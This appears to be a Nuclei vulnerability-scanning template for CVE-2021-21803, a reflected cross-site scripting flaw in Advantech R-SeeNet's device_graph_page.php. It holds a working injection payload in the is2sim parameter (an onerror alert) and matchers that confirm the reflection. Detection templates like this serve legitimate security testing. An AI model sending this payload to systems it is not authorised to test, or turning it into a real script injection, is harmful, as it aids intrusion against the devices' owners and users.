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id : CVE-2021-21803
info :
name : Advantech R-SeeNet is2sim parameter - Reflected Cross-Site Scripting (XSS)
author : gy741
severity : medium
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description : This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to
arbitrary JavaScript code execution.
reference :
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-21803
cwe-id : CWE-79
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tags : cve,cve2021,rseenet,xss
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requests :
- method : GET
path :
- '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'
matchers-condition : and
matchers :
- type : word
words :
- '"zlo onerror=alert(1) "'
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- 'Device Status Graph'
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part : body
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condition : and
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- type : word
part : header
words :
- text/html
- type : status
status :
- 200